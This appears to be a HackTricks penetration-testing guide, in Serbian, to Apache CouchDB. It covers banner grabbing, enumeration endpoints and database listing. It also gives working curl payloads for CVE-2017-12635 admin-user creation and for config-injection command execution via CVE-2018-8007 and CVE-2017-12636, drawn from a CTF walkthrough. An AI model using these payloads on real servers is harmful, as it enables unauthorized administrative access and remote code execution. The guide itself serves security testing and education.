hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2024-02-10 13:11:20 +00:00

19 KiB

5984,6984 - Pentestiranje CouchDB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

CouchDB je svestrana i moćna dokument-orientisana baza podataka koja organizuje podatke koristeći strukturu ključ-vrednost unutar svakog dokumenta. Polja unutar dokumenta mogu biti predstavljena kao ključ/vrednost parovi, liste ili mape, pružajući fleksibilnost u skladištenju i dohvatanju podataka.

Svaki dokument koji se čuva u CouchDB-u dobija jedinstveni identifikator (_id) na nivou dokumenta. Pored toga, svaka izmena koja se napravi i sačuva u bazi podataka dobija broj revizije (_rev). Ovaj broj revizije omogućava efikasno praćenje i upravljanje promenama, olakšavajući jednostavno dohvatanje i sinhronizaciju podataka unutar baze podataka.

Podrazumevani port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatsko nabrajanje

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Baner

Kada se bavite pentestiranjem CouchDB baze podataka, prvi korak je da identifikujete baner. Baner je informacija koja se prikazuje prilikom uspostavljanja veze sa CouchDB serverom. Ova informacija može biti korisna za identifikaciju verzije CouchDB-a koji se koristi, kao i za pronalaženje potencijalnih ranjivosti.

Da biste pronašli baner, možete koristiti alate kao što su telnet ili nc (netcat) kako biste se povezali sa CouchDB serverom na odgovarajućem portu (obično 5984). Nakon uspostavljanja veze, server će vam prikazati baner informaciju.

Na primer, možete koristiti sledeću komandu da biste se povezali sa CouchDB serverom i prikazali baner:

$ telnet <IP adresa> 5984

Nakon uspešne konekcije, server će prikazati baner informaciju koja će izgledati otprilike ovako:

Trying <IP adresa>...
Connected to <IP adresa>.
Escape character is '^]'.
{"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"a3e4b5c6-d7e8-f9g0-h1i2-j3k4l5m6n7o8","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}

U ovom primeru, baner informacija pokazuje da se koristi CouchDB verzija 2.3.1 i da je vendor Apache Software Foundation.

Ova informacija može biti korisna za dalje istraživanje i identifikaciju potencijalnih ranjivosti u CouchDB bazi podataka.

curl http://IP:5984/

Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati nešto poput jednog od sledećih:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Imajte na umu da ako pristupate korenu CouchDB-a i dobijete 401 Unauthorized sa nečim poput ovoga: {"error":"unauthorized","reason":"Authentication required."} nećete moći pristupiti baneru ili bilo kojem drugom endpointu. {% endhint %}

Info Enumeracija

Ovo su endpointi do kojih možete pristupiti sa GET zahtevom i izvući neke zanimljive informacije. Možete pronaći više endpointa i detaljnije opise u dokumentaciji za couchdb.

  • /_active_tasks Lista pokrenutih zadataka, uključujući vrstu zadatka, ime, status i ID procesa.
  • /_all_dbs Vraća listu svih baza podataka u instanci CouchDB-a.
  • /_cluster_setup Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera.
  • /_db_updates Vraća listu svih događaja baze podataka u instanci CouchDB-a. Postojanje baze podataka _global_changes je potrebno za korišćenje ovog endpointa.
  • /_membership Prikazuje čvorove koji su deo klastera kao cluster_nodes. Polje all_nodes prikazuje sve čvorove koje ovaj čvor poznaje, uključujući one koji su deo klastera.
  • /_scheduler/jobs Lista poslova replikacije. Svaki opis posla će uključivati informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i još neke stvari.
  • /_scheduler/docs Lista stanja replikacijskih dokumenata. Uključuje informacije o svim dokumentima, čak i u completed i failed stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Endpoint /_node/{node-name} se može koristiti za potvrdu Erlang imena čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate /_node/_local da biste dobili ove informacije.
  • /_node/{node-name}/_stats Resurs _stats vraća JSON objekat koji sadrži statistike za pokrenuti server. Doslovni string _local služi kao alias za lokalno ime čvora, pa se za sve URL-ove statistika, {node-name} može zameniti sa _local, da bi se interagiralo sa statistikama lokalnog čvora.
  • /_node/{node-name}/_system Resurs _system vraća JSON objekat koji sadrži razne statistike na nivou sistema za pokrenuti server_._ Možete koristiti ___local kao {node-name} da biste dobili trenutne informacije o čvoru.
  • /_node/{node-name}/_restart
  • /_up Potvrđuje da je server pokrenut, radi i spreman da odgovori na zahteve. Ako je maintenance_mode true ili nolb, endpoint će vratiti odgovor 404.
  • /_uuids Zahteva jedan ili više univerzalno jedinstvenih identifikatora (UUID) iz instance CouchDB-a.
  • /_reshard Vraća broj završenih, neuspešnih, pokrenutih, zaustavljenih i ukupnih poslova, zajedno sa stanjem reshardinga na klasteru.

Više zanimljivih informacija može se izvući kako je objašnjeno ovde: https://lzone.de/cheat-sheet/CouchDB

Lista baza podataka

curl -X GET http://IP:5984/_all_dbs

Ako taj zahtev odgovori sa 401 unauthorised, onda vam trebaju validni pristupni podaci da biste pristupili bazi podataka:

curl -X GET http://user:password@IP:5984/_all_dbs

Da biste pronašli važeće akreditive, možete pokušati bruteforce uslugu.

Ovo je primer odgovora couchdb-a kada imate dovoljno privilegija da navedete baze podataka (To je samo lista baza podataka):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informacije o bazi podataka

Možete dobiti neke informacije o bazi podataka (kao što su broj datoteka i veličine) pristupanjem imenu baze podataka:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista dokumenata

Izlistajte svaki unos unutar baze podataka

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Čitanje dokumenta

Pročitajte sadržaj dokumenta unutar baze podataka:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Eskalacija privilegija CVE-2017-12635

Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, moguće je kreirati admin korisnika sa pristupnim podacima hacktricks:hacktricks pomoću sledećeg zahteva:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Više informacija o ovoj ranjivosti ovde.

CouchDB RCE

Pregled sigurnosti Erlang kolačića

Primer odavde.

U dokumentaciji za CouchDB, posebno u delu koji se odnosi na podešavanje klastera (link), razmatra se upotreba portova od strane CouchDB u režimu klastera. Pomenuto je da se, kao i u samostalnom režimu, koristi port 5984. Dodatno, port 5986 je namenjen lokalnim API-ima čvora, a važno je da Erlang zahteva TCP port 4369 za Erlang Port Mapper Daemon (EPMD), koji omogućava komunikaciju čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu u kojoj su svi čvorovi međusobno povezani.

Naglašena je ključna sigurnosna preporuka u vezi sa portom 4369. Ako je ovaj port dostupan preko interneta ili bilo koje nepouzdane mreže, sigurnost sistema u velikoj meri zavisi od jedinstvenog identifikatora poznatog kao "kolačić". Ovaj kolačić deluje kao zaštita. Na primer, u datom listi procesa može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog okvira sistema.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za daljinsko izvršavanje koda (RCE) u kontekstu Erlang sistema, dostupan je poseban odeljak za dalje čitanje. Detaljno se opisuju metodologije za zloupotrebu Erlang kolačića na neovlašćene načine radi preuzimanja kontrole nad sistemima. Možete istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde.

Iskorišćavanje CVE-2018-8007 putem izmene local.ini

Primer odavde.

Istražena je nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, otkrivajući da za eksploataciju treba imati dozvole za pisanje u datoteku local.ini. Iako se to direktno ne može primeniti na ciljni sistem zbog sigurnosnih ograničenja, izvršene su izmene kako bi se omogućio pristup pisanju u datoteku local.ini u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.

Prvo, okruženje se priprema tako što se osigura da je datoteka local.ini za pisanje, što se proverava listanjem dozvola:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Da bi se iskoristila ranjivost, izvršava se curl komanda koja cilja konfiguraciju cors/origins u local.ini fajlu. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod sekcijom [os_daemons], sa ciljem izvršavanja proizvoljnog koda:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Naknadna verifikacija pokazuje ubačenu konfiguraciju u local.ini, upoređujući je sa rezervnom kopijom kako bi se istakle promene:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Prvo, očekivani fajl (/tmp/0xdf) ne postoji, što ukazuje da ubačena komanda još uvek nije izvršena. Dalje istraživanje otkriva da su pokrenuti procesi povezani sa CouchDB-om, uključujući i jedan koji potencijalno može izvršiti ubačenu komandu:

root@canape:/home/homer/bin# ps aux | grep couch

Prekidanjem identifikovanog CouchDB procesa i omogućavanjem automatskog ponovnog pokretanja sistema, pokreće se izvršavanje ubačene komande, što potvrđuje postojanje prethodno nedostajuće datoteke:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Ova istraživanja potvrđuju mogućnost iskorišćavanja CVE-2018-8007 pod određenim uslovima, posebno zahtevom za upisivanjem u local.ini datoteku. Priloženi primeri koda i proceduralni koraci pružaju jasno uputstvo za replikaciju napada u kontrolisanom okruženju.

Za više detalja o CVE-2018-8007, pogledajte obaveštenje od strane mdsec: CVE-2018-8007.

Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini

Primer odavde.

Istražena je ranjivost poznata kao CVE-2017-12636, koja omogućava izvršavanje koda putem CouchDB procesa, iako određene konfiguracije mogu sprečiti njeno iskorišćavanje. Uprkos brojnim dostupnim referencama Proof of Concept (POC) na internetu, potrebne su izmene kako bi se iskoristila ranjivost na CouchDB verziji 2, koja se razlikuje od često ciljane verzije 1.x. Početni koraci uključuju proveru verzije CouchDB i potvrdu odsustva očekivane putanje za upitne servere:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Da bi se prilagodio CouchDB verziji 2.0, koristi se nova putanja:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Pokušaji dodavanja i pokretanja novog upitnog servera naišli su na greške vezane za dozvole, kako je naznačeno u sledećem izlazu:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Dalje istraživanje je otkrilo problem sa dozvolama local.ini fajla, koji nije bio moguć za pisanje. Modifikacijom dozvola fajla uz pomoć root ili homer pristupa, postalo je moguće nastaviti:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Naredni pokušaji dodavanja upitnog servera su uspeli, što je potvrđeno nedostatkom poruka o greškama u odgovoru. Uspešna modifikacija local.ini datoteke je potvrđena poređenjem datoteka:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Proces se nastavio sa kreiranjem baze podataka i dokumenta, a zatim je pokušan izvršetak koda putem prilagođenog prikaza koji se mapira na novo dodati serverski upit:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Sažetak sa alternativnim payloadom pruža dalje uvide u iskorišćavanje CVE-2017-12636 pod određenim uslovima. Korisni resursi za iskorišćavanje ove ranjivosti uključuju:

Shodan

  • port:5984 couchdb

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: